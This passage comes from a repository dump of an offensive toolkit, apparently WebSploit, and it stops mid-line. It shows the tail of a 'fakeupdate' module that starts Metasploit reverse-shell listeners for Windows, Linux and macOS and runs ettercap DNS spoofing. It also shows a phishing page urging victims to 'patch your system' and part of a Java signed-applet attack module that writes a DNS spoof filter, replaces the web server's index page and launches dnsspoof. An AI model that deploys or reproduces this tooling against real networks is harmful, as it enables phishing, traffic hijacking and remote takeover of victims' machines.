91 | macosx_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD=osx/x86/shell_reverse_tcp LHOST=' + options[1] + ' LPORT=4443 E &'
92 | os.system(windows_listener)
93 | sleep(1)
94 | os.system(linux_listener)
95 | sleep(1)
96 | os.system(macosx_listener)
97 | print(wcolors.color.GREEN + "[*]Attack Has Been Started." + wcolors.color.ENDC)
98 | line_4 = wcolors.color.RED + "[!]When You Got The Session, Press [enter] Key For Kill DNS Spoof Attack ..." + wcolors.color.ENDC
99 | enter_key = raw_input(line_4)
100 | os.system('killall ettercap')
101 | else:
102 | print "Wrong Command => ", com
103 | fakeupdate()
104 | except(KeyboardInterrupt):
105 | print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, Module Exit" + wcolors.color.ENDC)
106 |
--------------------------------------------------------------------------------
/modules/fakeupdate/www/Linux.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/fakeupdate/www/Linux.jpg
--------------------------------------------------------------------------------
/modules/fakeupdate/www/OSX.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/fakeupdate/www/OSX.jpg
--------------------------------------------------------------------------------
/modules/fakeupdate/www/Windows.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/fakeupdate/www/Windows.jpg
--------------------------------------------------------------------------------
/modules/fakeupdate/www/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/fakeupdate/www/favicon.ico
--------------------------------------------------------------------------------
/modules/fakeupdate/www/index.php:
--------------------------------------------------------------------------------
1 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | Update
31 |
41 |
42 |
43 | 
There has been a critical vulnerability discovered in .
44 | It is essential that you patch your system before continuing.
45 | Sorry for any inconvenience caused.
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/modules/java_applet.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework Java Signed Applet Attack module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from core import wcolors
10 | from core import help
11 | from time import sleep
12 |
13 | options = ["eth0", "192.168.1.1", "Java", "Java"]
14 | def java_applet():
15 | try:
16 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
17 | line_1 += ":"
18 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Java_Applet" + wcolors.color.ENDC
19 | line_1 += " > "
20 | com = raw_input(line_1)
21 | com = com.lower()
22 | if com[0:13] =='set interface':
23 | options[0] = com[14:20]
24 | print "INTERFACE => ", options[0]
25 | java_applet()
26 | elif com[0:9] =='set lhost':
27 | options[1] = com[10:25]
28 | print "LHOST => ", options[1]
29 | java_applet()
30 | elif com[0:9] =='set class':
31 | options[2] = com[10:25]
32 | print "CLASS => ", options[2]
33 | java_applet()
34 | elif com[0:13] =='set publisher':
35 | options[3] = com[14:25]
36 | print "PUBLISHER => ", options[3]
37 | java_applet()
38 | elif com[0:12] =='show options':
39 | print ""
40 | print "Options\t\t Value\t\t\t\t RQ\t Description"
41 | print "---------\t--------------\t\t\t----\t--------------"
42 | print "Interface\t"+options[0]+"\t\t\t\tyes\tNetwork Interface Name"
43 | print "LHOST\t\t"+options[1]+"\t\t\tyes\tLocal IP Address"
44 | print "Class\t\t"+options[2]+"\t\t\t\tyes\tApplet's Class Name"
45 | print "Publisher\t"+options[3]+"\t\t\t\tyes\tPublisher's Name"
46 | print ""
47 | java_applet()
48 | elif com[0:2] =='os':
49 | os.system(com[3:])
50 | java_applet()
51 | elif com[0:4] =='help':
52 | help.help()
53 | java_applet()
54 | elif com[0:4] =='back':
55 | pass
56 | elif com[0:3] =='run':
57 | print(wcolors.color.BOLD + wcolors.color.BLUE + "[*]Setting Up , Wait A Few Seconds ..." + wcolors.color.ENDC)
58 | subprocess.Popen('/etc/init.d/apache2 start', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
59 | sleep(2)
60 | os.chdir('//tmp')
61 | check_tmp = os.listdir(os.curdir)
62 | if 'fillter.dns' in check_tmp:
63 | os.system('rm -rf fillter.dns')
64 | myfillter = open('fillter.dns', 'w')
65 | myfillter.write(options[1] + ' *\n')
66 | myfillter.close()
67 | os.chdir('/var/www')
68 | check_tmp2 = os.listdir(os.curdir)
69 | if 'index.html' in check_tmp2:
70 | os.system('rm -rf index.html')
71 | myindex = open('index.html', 'w')
72 | myindex.write('\n')
73 | myindex.write('\n')
74 | myindex.write('Wait a Few Seconds ...
\n')
75 | myindex.write('\n')
76 | myindex.write('\n')
77 | myindex.write('\n')
78 | myindex.close()
79 | xterm1 = 'dnsspoof -i '+ options[0] + ' -f tmp//fillter.dns'
80 | subprocess.Popen(xterm1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
81 | sleep(2)
82 | print(wcolors.color.YELLOW + "[*]Your Index Has Been Changed...")
83 | print("[*]You Can Change The Index From Here => /var/www/index.html")
84 | print("[*]But Don\'t Forget Your IP Address, Write It In